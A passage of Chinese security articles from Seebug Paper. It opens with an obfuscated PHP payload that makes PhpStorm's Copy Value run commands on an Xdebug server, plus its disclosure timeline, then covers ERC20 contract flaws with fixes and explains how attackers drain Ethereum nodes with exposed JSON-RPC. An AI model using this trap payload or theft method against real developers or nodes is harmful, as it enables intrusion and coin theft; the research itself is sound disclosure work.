chars[45].$chars[9].$chars[48].$chars[6].$chars[50].$chars[8].$chars[59].$chars[25].$chars[44].$chars[39].$chars[44].$chars[63].$chars[45].$chars[9].$chars[48].$chars[6].$chars[44].$chars[38].$chars[44].$chars[15].$chars[49].$chars[24].$chars[2].$chars[46].$chars[21].$chars[24].$chars[20].$chars[6].$chars[7].$chars[8].$chars[13].$chars[3].$chars[9].$chars[18].$chars[1].$chars[20].$chars[8].$chars[6].$chars[7].$chars[14].$chars[2].$chars[13].$chars[18].$chars[0];$i = $chars[60].$chars[57].$chars[62].$chars[14].$chars[1].$chars[24].$chars[37].$chars[14].$chars[60].$chars[57].$chars[23].$chars[18].$chars[1].$chars[24].$chars[37].$chars[29].$chars[1].$chars[29].$chars[45].$chars[18].$chars[60].$chars[39].$chars[19].$chars[11].$chars[59].$chars[28].$chars[7].$chars[21].$chars[44].$chars[42].$chars[7].$chars[11].$chars[1].$chars[42].$chars[23].$chars[21].$chars[44].$chars[43].$chars[3].$chars[21].$chars[2].$chars[12].$chars[23].$chars[10].$chars[49].$chars[28].$chars[56].$chars[9].$chars[0].$chars[42].$chars[34].$chars[6].$chars[0].$chars[42].$chars[56].$chars[18].$chars[1].$chars[42].$chars[34].$chars[6].$chars[3].$chars[28].$chars[35].$chars[24].$chars[1].$chars[42].$chars[51].$chars[33].$chars[60].$chars[57].$chars[62].$chars[14].$chars[1].$chars[24].$chars[37].$chars[14].$chars[60].$chars[57].$chars[23].$chars[18].$chars[1].$chars[24].$chars[37].$chars[29].$chars[1].$chars[29].$chars[45].$chars[18].$chars[60].$chars[39].$chars[19].$chars[11].$chars[59].$chars[28].$chars[7].$chars[21].$chars[44].$chars[42].$chars[7].$chars[11].$chars[1].$chars[42].$chars[23].$chars[21].$chars[44].$chars[43].$chars[3].$chars[21].$chars[2].$chars[12].$chars[23].$chars[10].$chars[49].$chars[28].$chars[56].$chars[9].$chars[0].$chars[42].$chars[34].$chars[6].$chars[0].$chars[42].$chars[56].$chars[18].$chars[1].$chars[42].$chars[34].$chars[6].$chars[3].$chars[28].$chars[35].$chars[24].$chars[1].$chars[42].$chars[51].$chars[33].$chars[60].$chars[57].$chars[62].$chars[14].$chars[1].$chars[24].$chars[37].$chars[14].$chars[60].$chars[57].$chars[23].$chars[18].$chars[1].$chars[24].$chars[37].$chars[29].$chars[1].$chars[29].$chars[45].$chars[18].$chars[60].$chars[39].$chars[19].$chars[11].$chars[59].$chars[28].$chars[7].$chars[21].$chars[44].$chars[42].$chars[7].$chars[11].$chars[1].$chars[42].$chars[23].$chars[21].$chars[44].$chars[43].$chars[3].$chars[21].$chars[2].$chars[12].$chars[23].$chars[10].$chars[49].$chars[28].$chars[56].$chars[9].$chars[0].$chars[42].$chars[34].$chars[6].$chars[0].$chars[42].$chars[56].$chars[18].$chars[1].$chars[42].$chars[34].$chars[6].$chars[3].$chars[28].$chars[35].$chars[24].$chars[1].$chars[42].$chars[51].$chars[33].$chars[60].$chars[57].$chars[62].$chars[14].$chars[1].$chars[24].$chars[37].$chars[14].$chars[60].$chars[57].$chars[23].$chars[18].$chars[1].$chars[24].$chars[37].$chars[29].$chars[1].$chars[29].$chars[45].$chars[18].$chars[60].$chars[39].$chars[19].$chars[11].$chars[59].$chars[28].$chars[7].$chars[21].$chars[44].$chars[42].$chars[7].$chars[11].$chars[1].$chars[42].$chars[23].$chars[21].$chars[44].$chars[43].$chars[3].$chars[21].$chars[2].$chars[12].$chars[23].$chars[10].$chars[49].$chars[28].$chars[56].$chars[9].$chars[0].$chars[42].$chars[34].$chars[6].$chars[0].$chars[42].$chars[56].$chars[18].$chars[1].$chars[42].$chars[34].$chars[6].$chars[3].$chars[28].$chars[35].$chars[24].$chars[1].$chars[42].$chars[51].$chars[33].$chars[60].$chars[57].$chars[62].$chars[14].$chars[1].$chars[24].$chars[37].$chars[14].$chars[60].$chars[57].$chars[23].$chars[18].$chars[1].$chars[24].$chars[37].$chars[29].$chars[1].$chars[29].$chars[45].$chars[18].$chars[60].$chars[39].$chars[19].$chars[11].$chars[59].$chars[28].$chars[7].$chars[21].$chars[44].$chars[42].$chars[7].$chars[11].$chars[1].$chars[42].$chars[23].$chars[21].$chars[44].$chars[43].$chars[3].$chars[21].$chars[2].$chars[12].$chars[23].$chars[10].$chars[49].$chars[28].$chars[56].$chars[9].$chars[0].$chars[42].$chars[34].$chars[6].$chars[0].$chars[42].$chars[56].$chars[18].$chars[1].$chars[42].$chars[34].$chars[6].$chars[3].$chars[28].$chars[35].$chars[24].$chars[1].$chars[42].$chars[51].$chars[33].$chars[60].$chars[57].$chars[62].$chars[14].$chars[1].$chars[24].$chars[37].$chars[14].$chars[60].$chars[57].$chars[23].$chars[18].$chars[1].$chars[24].$chars[37].$chars[29].$chars[1].$chars[29].$chars[45].$chars[18].$chars[60].$chars[39].$chars[19].$chars[11].$chars[59].$chars[28].$chars[7].$chars[21].$chars[44].$chars[42].$chars[7].$chars[11].$chars[1].$chars[42].$chars[23].$chars[21].$chars[44].$chars[43].$chars[3].$chars[21].$chars[2].$chars[12].$chars[23].$chars[10].$chars[49].$chars[22].$chars[14]; //echo hello world; base64$n = array($e => $c,$f => $i,$g => $a,);$n[$e]($n[$g]($n[$f]));?>直接执行该
PHP
代码,将只会多次运行system("echo hello world;")
。但是调试人员并不会执行PHP
代码,他也许会取出$n[$f]
的值,然后通过echo XXXXXXXX|base64 -d
解码出具体的内容。如果他使用
COPY VALUE BY print_r
拷贝对应的变量,他的Xdebug
服务器上将会被执行命令。在下面这个
gif
中,左边是攻击者的终端,右边是受害者的debug
过程。(GIF中存在一处笔误:
decise
应为decide
)0x03 结语
在整个漏洞的发现过程中,存在一定的曲折,但这也正是安全研究的乐趣所在。
PhpStorm
官方最终没有认可该漏洞,也是一点小小的遗憾。在此将该发现分享出来,一方面是为了跟大家分享思路,另一方面也请安全研究人员使用PhpStorm
调试代码时慎用COPY VALUE AS (print_r/var_export/json_encode)
、Evaluate array in Console
功能。0x04 时间线
2018/06/08: 发现
Evaluate in Console
存在在 Xdebug 服务器上
执行命令的风险。
2018/06/31 - 2018/07/01: 尝试分析Evaluate in Console
的问题,发现新的利用点Copy Value
. 即使eval
是Xdebug
提供的功能,但是PhpStorm
没有过滤单引号导致我们可以在Xdebug
服务器上执行命令,所以整理文档联系security@jetbrains.com
。
2018/07/04: 收到官方回复,认为这是Xdebug
的问题,PhpStorm
在调试过程中不提供对服务器资源的额外访问权限。
2018/07/06: 再次联系官方,说明该攻击可以用于钓鱼攻击。
2018/07/06: 官方认为用户在服务器上运行不可信的代码会造成服务器被破坏,这与PhpStorm
无关,这也是PhpStorm
不影响服务器安全性的原因。官方同意我披露该问题。2018/08/16: 披露该问题。
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/668/
-
以太坊合约审计 CheckList 之“以太坊智能合约规范问题”影响分析报告
作者:LoRexxar'@知道创宇404区块链安全研究团队
时间:2018年8月10日
英文版:https://paper.seebug.org/670/一、 简介
在知道创宇404区块链安全研究团队整理输出的《知道创宇以太坊合约审计CheckList》中,把“未触发Transfer事件问题”、“未触发Approval事件问题”、“假充值漏洞”、“构造函数书写错误”等问题统一归类为“以太坊智能合约规范问题”。
“昊天塔(HaoTian)”是知道创宇404区块链安全研究团队独立开发的用于监控、扫描、分析、审计区块链智能合约安全自动化平台。我们利用该平台针对上述提到的《知道创宇以太坊合约审计CheckList》中“以太坊智能合约规范”类问题在全网公开的智能合约代码做了扫描分析。详见下文:
二、漏洞详情
ERC20[1]是一种代币标准,用于以太坊区块链上的智能合约。ERC20定义了一种以太坊必须执行的通用规则,如果在以太坊发行的代币符合ERC20的标准,那么交易所就可以进行集成,在它们的交易所实现代币的买卖和交易。
ERC20中规定了transfer函数必须触发Transfer事件,transfer函数必须返回bool值,在进行余额判断时,应抛出错误而不是简单的返回错误,approve函数必须触发Approval事件。
1、未触发Transfer事件
1234567<span class="kd">function</span> <span class="nx">transfer</span><span class="p">(</span><span class="nx">address</span> <span class="nx">_to</span><span class="p">,</span> <span class="nx">uint256</span> <span class="nx">_value</span><span class="p">)</span> <span class="kr">public</span> <span class="nx">returns</span> <span class="p">(</span><span class="kt">bool</span> <span class="nx">success</span><span class="p">)</span> <span class="p">{</span><span class="nx">require</span><span class="p">(</span><span class="nx">balanceOf</span><span class="p">[</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">]</span> <span class="o">>=</span> <span class="nx">_value</span><span class="p">);</span><span class="nx">require</span><span class="p">(</span><span class="nx">balanceOf</span><span class="p">[</span><span class="nx">_to</span><span class="p">]</span> <span class="o">+</span> <span class="nx">_value</span> <span class="o">>=</span> <span class="nx">balanceOf</span><span class="p">[</span><span class="nx">_to</span><span class="p">]);</span><span class="nx">balanceOf</span><span class="p">[</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">]</span> <span class="o">-=</span> <span class="nx">_value</span><span class="p">;</span><span class="nx">balanceOf</span><span class="p">[</span><span class="nx">_to</span><span class="p">]</span> <span class="o">+=</span> <span class="nx">_value</span><span class="p">;</span><span class="k">return</span> <span class="kc">true</span><span class="p">;</span><span class="p">}</span>上述代码在发生交易时未触发Transfer事件,在发生交易时,未产生event事件,不符合ERC20标准,不便于开发人员对合约交易情况进行监控。
2、未触发Approval事件
12345function approve(address _spender, uint256 _value) publicreturns (bool success) {allowance[msg.sender][_spender] = _value;return true;}上述代码在发生交易时未触发Approval事件,在发生交易时,未产生event事件,不符合ERC20标准,不便于开发人员对合约情况进行监控。
3、假充值漏洞
123456789101112131415161718192021function transfer(address _to, uint256 _amount) returns (bool success) {initialize(msg.sender);if (balances[msg.sender] >= _amount&& _amount > 0) {initialize(_to);if (balances[_to] + _amount > balances[_to]) {balances[msg.sender] -= _amount;balances[_to] += _amount;Transfer(msg.sender, _to, _amount);return true;} else {return false;}} else {return false;}}上述代码在判断余额时使用了if语句,ERC20标准规定,当余额不足时,合约应抛出错误使交易回滚,而不是简单的返回false。
这种情况下,会导致即使没有真正发生交易,但交易仍然成功,这种情况会影响交易平台的判断结果,可能导致假充值。
2018年7月9日,慢雾安全团队发布了关于假充值的漏洞预警。
2018年7月9日,知道创宇404区块链安全研究团队跟进应急该漏洞,并对此漏洞发出了漏洞预警。
4、构造函数书写错误漏洞
Solidity0.4.22版本以前,编译器要求,构造函数名称应该和合约名称保持一致,如果构造函数名字和合约名字大小写不一致,该函数仍然会被当成普通函数,可以被任意用户调用。
Solidity0.4.22中引入了关于构造函数constructor使用不当的问题,constructor在使用中错误的加上了function定义,从而导致constructor可以被任意用户调用,会导致可能的更严重的危害,如Owner权限被盗。
构造函数大小写错误漏洞
12345contract own(){function Own() {owner = msg.sender;}}上述代码错误的将构造函数名大写,导致构造函数名和合约名不一致。这种情况下,该函数被设置为一个普通的public函数,任意用户都可以通过调用该函数来修改自己为合约owner。进一步导致其他严重的后果。
2018年6月22日,MorphToken合约代币宣布更新新的智能合约[2],其中修复了关于大小写错误导致的构造函数问题。
2018年6月22日,知道创宇404区块链安全研究团队跟进应急,并输出了《以太坊智能合约构造函数编码错误导致非法合约所有权转移报告》。
构造函数编码错误漏洞
123function constructor() public {owner = msg.sender;}上述代码错误的使用function来作为constructor函数装饰词,这种情况下,该函数被设置为一个普通的public函数,任意用户都可以通过调用该函数来修改自己为合约owner。进一步导致其他严重的后果。
2018年7月14日,链安科技在公众号公布了关于constructor函数书写错误的问题详情[3]。
2018年7月15日,知道创宇404区块链安全研究团队跟进应急,并输出了《以太坊智能合约构造函数书写错误导致非法合约所有权转移报告》
三、漏洞影响范围
使用Haotian平台智能合约审计功能可以准确扫描到该类型问题。
基于Haotian平台智能合约审计功能规则,我们对全网的公开的共39548 个合约代码进行了扫描,其中共14978个合约涉及到这类问题。
1、 未触发Transfer事件
截止2018年8月10日为止,我们发现了4604个存在未遵循ERC20标准未触发Transfer事件的合约代码,其中交易量最高的10个合约情况如下:
2、 未触发Approval事件
截止2018年8月10日为止,我们发现了5231个存在未遵循ERC20标准未出发Approval事件的合约代码,其中交易量最高的10个合约情况如下:
3、假充值漏洞
2018年7月9日,知道创宇404区块链安全研究团队在跟进应急假充值漏洞时,曾对全网公开合约代码进行过一次扫描,当时发现约3141余个存在假充值问题的合约代码,其中交易量最高的10个合约情况如下:
截止2018年8月10日为止,我们发现了5027个存在假充值问题的合约代码,其中交易量最高的10个合约情况如下:
4、构造函数书写问题
构造函数大小写错误漏洞
2018年6月22日,知道创宇404区块链安全研究团队在跟进应急假充值漏洞时,全网中存在该问题的合约约为16个。
截止2018年8月10日为止,我们发现了90个存构造函数大小写错误漏洞的合约代码,其中交易量最高的10个合约情况如下:
构造函数编码问题
截止2018年8月10日为止,我们发现了24个存在构造函数书写问题的合约代码,比2018年7月14日对该漏洞应急时只多了一个合约,其中交易量最高的10个合约情况如下:
四、修复方式
1)transfer函数中应触发Tranfser事件
123456789function transfer(address _to, uint256 _value) public returns (bool) {require(_value <= balances[msg.sender]);require(_to != address(0));balances[msg.sender] = balances[msg.sender].sub(_value);balances[_to] = balances[_to].add(_value);emit Transfer(msg.sender, _to, _value);return true;}2)approve函数中应触发Approval事件
12345function approve(address _spender, uint256 _value) public returns (bool) {allowed[msg.sender][_spender] = _value;emit Approval(msg.sender, _spender, _value);return true;}3)transfer余额验证时应使用require抛出错误
123456789function transfer(address _to, uint256 _value) public returns (bool) {require(_value <= balances[msg.sender]);require(_to != address(0));balances[msg.sender] = balances[msg.sender].sub(_value);balances[_to] = balances[_to].add(_value);emit Transfer(msg.sender, _to, _value);return true;}4)0.4.22版本之前,构造函数应和合约名称一致
1234contract ownable {function ownable() public {owner = msg.sender;}5)0.4.22版本之后,构造函数不应用function修饰
123constructor() public {owner = msg.sender;}五、一些思考
上面这些问题算是我在回顾历史漏洞中经常发现的一类问题,都属于开发人员没有遵守ERC20标准而导致的,虽然这些问题往往不会直接导致合约漏洞的产生,但却因为这些没有遵守标准的问题,在后期对于合约代币的维护时,会出现很多问题。
如果没有在transfer和approve时触发相应的事件,开发人员就需要更复杂的方式监控合约的交易情况,一旦发生大规模盗币时间,甚至没有足够的日志提供回滚。
如果转账时没有抛出错误,就有可能导致假充值漏洞,如果平台方在检查交易结果时是通过交易状态来判断的,就会导致平台利益被损害。
如果开发人员在构造函数时,没有注意不同版本的编译器标准,就可能导致合约所有权被轻易盗取,导致进一步更严重的盗币等问题。
我们在对全网公开的合约代码进行扫描和监控时容易发现,有很大一批开发人员并没有注意到这些问题,甚至构造函数书写错误这种低级错误,在漏洞预警之后仍然在发生,考虑到大部分合约代码没有公开,可能还有很多开发者在不遵守标准的情况下进行开发,还有很多潜在的问题需要去考虑。
这里我们建议所有的开发者重新审视自己的合约代码,检查是否遵守了ERC20合约标准,避免不必要的麻烦以及安全问题。
智能合约审计服务
针对目前主流的以太坊应用,知道创宇提供专业权威的智能合约审计服务,规避因合约安全问题导致的财产损失,为各类以太坊应用安全保驾护航。
知道创宇404智能合约安全审计团队: https://www.scanv.com/lca/index.html
联系电话:(086) 136 8133 5016(沈经理,工作日:10:00-18:00)欢迎扫码咨询:区块链行业安全解决方案
黑客通过DDoS攻击、CC攻击、系统漏洞、代码漏洞、业务流程漏洞、API-Key漏洞等进行攻击和入侵,给区块链项目的管理运营团队及用户造成巨大的经济损失。知道创宇十余年安全经验,凭借多重防护+云端大数据技术,为区块链应用提供专属安全解决方案。
欢迎扫码咨询:
六、REF
[1] ERC标准
https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md[2] Morpheus官方公告
https://medium.com/@themorpheus/new-morpheus-network-token-smart-contract-91 b80dbc7655[3] 构造函数书写问题漏洞详情
https://mp.weixin.qq.com/s/xPwhanev-cjHhc104Wmpug
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/663/
-
金钱难寐,大盗独行——以太坊 JSON-RPC 接口多种盗币手法大揭秘
作者: 知道创宇404区块链安全研究团队
发布时间: 2018/08/01更新于 2018/08/20 : 修正了原文中的一处错误,感谢 @None在评论区的指正。0x00 前言
2010年,
Laszlo
使用10000
个比特币购买了两张价值25美元的披萨被认为是比特币在现实世界中的第一笔交易。2017年,区块链技术随着数字货币的价格暴涨而站在风口之上。谁也不会想到,2010年的那两块披萨,能够在2017年末价值
1.9亿美元
。以太坊,作为区块链2.0时代的代表,通过智能合约平台,解决比特币拓展性不足的问题,在金融行业有了巨大的应用。
通过智能合约进行交易,不用管交易时间,不用管交易是否合法,只要能够符合智能合约的规则,就可以进行无限制的交易。
在巨大的经济利益下,总会有人走上另一条道路。
古人的盗亦有道,在虚拟货币领域也有着它独特的定义。只有对区块链技术足够了解,才能在这场盛宴中
偷
到足够多的金钱。他们似那黑暗中独行的狼,无论是否得手都会在被发现前抽身而去。2018/03/20
,在 《以太坊生态缺陷导致的一起亿级代币盗窃大案》[19] 和 《揭秘以太坊中潜伏多年的“偷渡”漏洞,全球黑客正在疯狂偷币》[20] 两文揭秘以太坊偷渡漏洞(又称为以太坊黑色情人节事件)
相关攻击细节后,知道创宇404团队根据已有信息进一步完善了相关蜜罐。2018/05/16
,知道创宇404区块链安全研究团队对偷渡漏洞
事件进行预警并指出该端口已存在密集的扫描行为。2018/06/29
,慢雾社区
里预警了以太坊黑色情人节事件(即偷渡漏洞)
新型攻击手法,该攻击手法在本文中亦称之为:离线攻击
。在结合蜜罐数据复现该攻击手法的过程中,知道创宇404区块链安全研究团队发现:在真实场景中,还存在另外两种
新型的攻击方式:重放攻击
和爆破攻击
,由于此类攻击方式出现在偷渡漏洞
曝光后,我们将这些攻击手法统一称为后偷渡时代的盗币方式
。本文将会在介绍相关知识点后,针对
偷渡漏洞
及后偷渡时代的盗币方式
,模拟复现盗币的实际流程,对攻击成功的关键点进行分析。0x01 关键知识点
所谓磨刀不误砍柴功,只有清楚地掌握了关键知识点,才能在理解漏洞原理时游刃有余。在本节,笔者将会介绍以太坊发起一笔交易的签名流程及相关知识点。
1.1 RLP 编码
RLP (递归长度前缀)提供了一种适用于任意二进制数据数组的编码,RLP已经成为以太坊中对对象进行序列化的主要编码方式。
RLP
编码会对字符串和列表进行序列化操作,具体的编码流程如下图:在此,也以
3.4.1节
中eth_signTransaction
接口返回的签名数据为例,解释该签名数据是如何经过tx
编码后得到的。12345678910111213141516result 字段中的 raw 和 tx 如下:"raw": "f86b01832dc6c083030d4094d4f0ad3896f78e133f7841c3a6de11be0427ed89881bc16d674ec80000801ba0e2e7162ae34fa7b2ca7c3434e120e8c07a7e94a38986776f06dcd865112a2663a004591ab78117f4e8b911d65ba6eb0ce34d117358a91119d8ddb058d003334ba4""tx": {"nonce": "0x1","gasPrice": "0x2dc6c0","gas": "0x30d40","to": "0xd4f0ad3896f78e133f7841c3a6de11be0427ed89","value": "0x1bc16d674ec80000","input": "0x","v": "0x1b","r": "0xe2e7162ae34fa7b2ca7c3434e120e8c07a7e94a38986776f06dcd865112a2663","s": "0x4591ab78117f4e8b911d65ba6eb0ce34d117358a91119d8ddb058d003334ba4","hash": "0x4c661b558a6a2325aa36c5ce42ece7e3cce0904807a5af8e233083c556fbdebc"}根据 RLP 编码的规则,我们对 tx 字段当作一个列表按顺序进行编码(hash除外)。由于长度必定大于55字节,所以采用最后一种编码方式。
暂且先抛开前两位,对所有项进行RLP编码,结果如下:
合并起来就是:01832dc6c083030d4094d4f0ad3896f78e133f7841c3a6de11be0427ed89881bc16d674ec80000801ba0e2e7162ae34fa7b2ca7c3434e120e8c07a7e94a38986776f06dcd865112a2663a004591ab78117f4e8b911d65ba6eb0ce34d117358a91119d8ddb058d003334ba4
一共是 214 位,长度是 107 字节,也就意味着第二位是
0x6b
,第一位是0xf7 + len(0x6b) = 0xf8
,这也是最终raw
的内容:0xf86b01832dc6c083030d4094d4f0ad3896f78e133f7841c3a6de11be0427ed89881bc16d674ec80000801ba0e2e7162ae34fa7b2ca7c3434e120e8c07a7e94a38986776f06dcd865112a2663a004591ab78117f4e8b911d65ba6eb0ce34d117358a91119d8ddb058d003334ba4
1.2 keystore 文件及其解密
keystore
文件用于存储以太坊私钥。为了避免私钥明文存储导致泄漏的情况发生,keystore
文件应运而生。让我们结合下文中的keystore
文件内容来看一下私钥是被如何加密的:12345678910111213141516171819202122keystore文件来源:https://github.com/ethereum/tests/blob/2bb0c3da3bbb15c528bcef2a7e5ac4bd73f81f87/KeyStoreTests/basic_tests.json,略有改动{"address": "0x008aeeda4d805471df9b2a5b0f38a0c3bcba786b","crypto" : {"cipher" : "aes-128-ctr","cipherparams" : {"iv" : "83dbcc02d8ccb40e466191a123791e0e"},"ciphertext" : "d172bf743a674da9cdad04534d56926ef8358534d458fffccd4e6ad2fbde479c","kdf" : "scrypt","kdfparams" : {"dklen" : 32,"n" : 262144,"r" : 1,"p" : 8,"salt" : "ab0c7876052600dd703518d6fc3fe8984592145b591fc8fb5c6d43190334ba19"},"mac" : "2103ac29920d71da29f15d75b4a16dbe95cfd7ff8faea1056c33131d846e3097"},"id" : "3198bc9c-6672-5ab3-d995-4942343ae5b6","version" : 3}在此,我将结合私钥的加密过程说明各字段的意义:
加密步骤一:使用aes-128-ctr对以太坊账户的私钥进行加密
本节开头已经说到,
keystore
文件是为了避免私钥明文存储导致泄漏的情况发生而出现的,所以加密的第一步就是对以太坊账户的私钥进行加密。这里使用了aes-128-ctr
方式进行加密。设置解密密钥
和初始化向量iv
就可以对以太坊账户的私钥进行加密,得到加密后的密文。keystore
文件中的cipher
、cipherparams
、ciphertext
参数与该加密步骤有关:cipher
: 表示对以太坊账户私钥加密的方式,这里使用的是aes-128-ctr
cipherparams
中的iv
: 表示使用aes
加密使用的初始化向量iv
ciphertext
: 表示经过加密后得到的密文
加密步骤二:利用kdf算法计算解密密钥
经过加密步骤一,以太坊账户的私钥已经被成功加密。我们只需要记住
解密密钥
就可以进行解密,但这里又出现了一个新的问题,解密密钥
长达32位且毫无规律可言。所以以太坊又使用了一个密钥导出函数(kdf)
计算解密密钥。在这个keystore
文件中,根据kdf
参数可以知道使用的是scrypt
算法。最终实现的效果就是:对我们设置的密码与kdfparams
中的参数进行scrypt
计算,就会得到加密步骤1
中设置的解密密钥
.keystore
文件中的kdf
、kdfparams
参数与该加密步骤有关:kdf
: 表示使用的密钥导出函数
的具体算法kdfparams
: 使用密钥导出函数需要的参数
加密步骤三:验证用户密码的正确性
假设用户输入了正确的密码,只需要通过步骤一二进行解密就可以得到正确的私钥。但我们不能保证用户每次输入的密码都是正确的。所以引入了验算的操作。验算的操作十分简单,取步骤二解密出的密钥的第十七到三十二位和
ciphertext
进行拼接,计算出该字符串的sha3_256
的值。如果和mac
的内容相同,则说明密码正确。keystore
文件中的mac
参数与该步骤有关:mac
: 用于验证用户输入密码的正确性。
综上所述,要从
keystore
文件中解密出私钥,所需的步骤是:- 通过
kdf
算法生成解密私钥 - 对解密私钥进行验算,如果与
mac
值相同,则说明用户输入的密码正确。 - 利用解密私钥解密
ciphertext
,获得以太坊账户的私钥
流程图如下:
如果有读者想通过编程实现从
keystore
文件中恢复出私钥,可以参考How do I get the raw private key from my Mist keystore file?[15]中的最后一个回答。其中有以下几点注意事项:
- 需要的环境是 Python 3.6+ OpenSSL 1.1+
- 该回答在
Decrypting with the derived key
中未交代key
参数的来历,实际上key = dec_key[:16]
1.3 以太坊交易的流程
根据源码以及网上已有的资料,笔者总结以太坊的交易流程如下:
- 用户发起转账请求。
- 以太坊对转账信息进行签名
- 校验签名后的信息并将信息加入交易缓存池(txpool)
- 从交易缓存池中提取交易信息进行广播
对于本文来说,步骤2:以太坊对转账信息进行签名对于理解
3.4节 利用离线漏洞进行攻击
十分重要。笔者也将会着重分析该步骤的具体实现。从上文中我们可以知道,私钥已经被加密在
keystore
文件中,所以在步骤2进行签名操作之前,需要将私钥解密出来。在以太坊的操作中有专门的接口用于解锁账户:personal.unlockAccount
在解锁对应的账户后,我们将可以进行转账操作。在用私钥进行签名前,存在一些初始化操作:
- 寻找 from 参数对应地址的钱包
- 判断必须传入的参数是否正确
- 将传入的参数和原本的设置参数打包成 Transaction 结构体
这里可以注意一点:
Transaction
结构体中是不存在from
字段的。这里不添加from
字段和后面的签名算法有着密切的关系。使用私钥对交易信息进行签名主要分为两步:
- 对构造的列表进行 RLP 编码,然后通过 sha3_256 计算出编码后字符串的
hash
值。 - 使用私钥对
hash
进行签名,得到一串 65 字节长的结果,从中分别取出r
、s
、v
根据椭圆加密算法的特点,我们可以根据
r
、s
、v
和hash
算出对应的公钥。由于以太坊的地址是公钥去除第一个比特后经过
sha3_256
加密的后40位,所以在交易信息中不包含from
的情况下,我们依旧可以知道这笔交易来自于哪个地址。这也是前文说到Transaction
结构体中不存在from
的原因。在签名完成后,将会被添加进交易缓存池(txpool),在这个操作中,
from
将会被还原出来,并进行一定的校验操作。同时也考虑到交易缓存池的各种极端情况,例如:在交易缓存池已满的情况下,会将金额最低的交易从缓存池中移除。最终,交易缓存池中存储的交易会进行广播,网络中各节点收到该交易后都会将该交易存入交易缓存池。当某节点挖到新的区块时,将会从交易缓存池中按照
gasPrice
高低排序交易并打包进区块。0x02 黑暗中的盗币方式:偷渡时代
2.1 攻击流程复现
攻击复现环境位于
ropsten
测试网络。被攻击者IP: 10.0.0.2 ,启动客户端命令为:
geth --testnet --rpc --rpcapi eth --rpcaddr 0.0.0.0 console
账户地址为:0x6c047d734ee0c0a11d04e12adf5cce4b31da3921
,剩余余额为5 ether
攻击者IP: 10.0.0.3 , 账户地址为
0xda0b72478ed8abd676c603364f3105233068bdad
注:若读者要在公链、测试网络实践该部分内容,建议先阅读
3.2
节的内容,了解该部分可能存在的隐藏问题。攻击者步骤如下:
- 攻击者通过端口扫描等方式发现被攻击者开放了
JSON-RPC
端口后,调用eth_getBlockByNumber
eth_accounts
接口查询当前节点最新的区块高度以及该节点上已有的账户。 - 攻击者调用
eth_getBalance
接口查询当前节点上所有账户的余额。 - 攻击者对存在余额的账户持续发起转账请求。
一段时间后,被攻击者需要进行交易:
按照之前的知识点,用户需要先解锁账户然后才能转账。当我们使用
personal.unlockAccount
和密码解锁账户后,就可以在终端看到恶意攻击者已经成功发起交易。读者可以通过该链接看到恶意攻击者的交易信息。
攻击的流程图如下所示:
2.2 攻击成功的关键点解析
看完 2.1 节
偷渡漏洞
攻击流程,你可能会有这样的疑问:- 攻击者为什么可以转账成功?
- 如例子中所示,该地址只有 5 ether,一次被转走了 4.79 ether,如果我们解锁账户后在被攻击前发起转账,转走 1 ether,是否攻击者就不会攻击成功?
下文将详细分析这两个问题并给出答案。
2.2.1 攻击者可以通过 rpc 接口转账的原因
首先,分析一下关键的
unlockAccount
函数:12345678910111213func (s *PrivateAccountAPI) UnlockAccount(addr common.Address, password string, duration *uint64) (bool, error) {const max = uint64(time.Duration(math.MaxInt64) / time.Second)var d time.Durationif duration == nil {d = 300 * time.Second} else if *duration > max {return false, errors.New("unlock duration too large")} else {d = time.Duration(*duration) * time.Second}err := fetchKeystore(s.am).TimedUnlock(accounts.Account{Address: addr}, password, d)return err == nil, err}在判断传入的解锁时间是否为空、是否大于最大值后,调用
TimedUnlock()
进行解锁账户的操作,而TimedUnlock()
的代码如下:12345678910111213141516171819202122232425262728func (ks *KeyStore) TimedUnlock(a accounts.Account, passphrase string, timeout time.Duration) error {a, key, err := ks.getDecryptedKey(a, passphrase)if err != nil {return err}ks.mu.Lock()defer ks.mu.Unlock()u, found := ks.unlocked[a.Address]if found {if u.abort == nil {// The address was unlocked indefinitely, so unlocking// it with a timeout would be confusing.zeroKey(key.PrivateKey)return nil}// Terminate the expire goroutine and replace it below.close(u.abort)}if timeout > 0 {u = &unlocked{Key: key, abort: make(chan struct{})}go ks.expire(a.Address, u, timeout)} else {u = &unlocked{Key: key}}ks.unlocked[a.Address] = ureturn nil}首先通过
getDecryptedKey()
从keystore
文件夹下的文件中解密出私钥(具体的解密过程可以参考 1.2 节的内容),再判断该账户是否已经被解锁,如果没有被解锁,则将解密出的私钥存入名为unlocked
的 map 中。如果设置了解锁时间,则启动一个协程进行超时处理go ks.expire()
.再看向实现转账的函数的实现过程
SendTransaction() -> wallet.SignTx() -> w.keystore.SignTx()
:123456789101112131415161718192021222324252627282930313233343536373839func (s *PublicTransactionPoolAPI) SendTransaction(ctx context.Context, args SendTxArgs) (common.Hash, error) {account := accounts.Account{Address: args.From}wallet, err := s.b.AccountManager().Find(account)......tx := args.toTransaction()......signed, err := wallet.SignTx(account, tx, chainID)return submitTransaction(ctx, s.b, signed)}func (w *keystoreWallet) SignTx(account accounts.Account, tx *types.Transaction, chainID *big.Int) (*types.Transaction, error) {......return w.keystore.SignTx(account, tx, chainID)}func (ks *KeyStore) SignTx(a accounts.Account, tx *types.Transaction, chainID *big.Int) (*types.Transaction, error) {// Look up the key to sign with and abort if it cannot be foundks.mu.RLock()defer ks.mu.RUnlock()unlockedKey, found := ks.unlocked[a.Address]if !found {return nil, ErrLocked}// Depending on the presence of the chain ID, sign with EIP155 or homesteadif chainID != nil {return types.SignTx(tx, types.NewEIP155Signer(chainID), unlockedKey.PrivateKey)}return types.SignTx(tx, types.HomesteadSigner{}, unlockedKey.PrivateKey)}可以看到,在
w.keystore.SignTx()
中,直接从ks.unlocked
中取出对应的私钥。这也就意味着如果执行了unlockAccount()
函数、没有超时的话,从ipc
、rpc
调用SendTransaction()
都会成功签名相关交易。由于默认参数启动的
Go-Ethereum
设计上并没有对ipc
、rpc
接口添加相应的鉴权模式,也没有在上述的代码中对请求用户的身份进行判断,最终导致攻击者可以在用户解锁账号的时候完成转账操作,偷渡漏洞利用成功。2.2.2 攻击者和用户竞争转账的问题
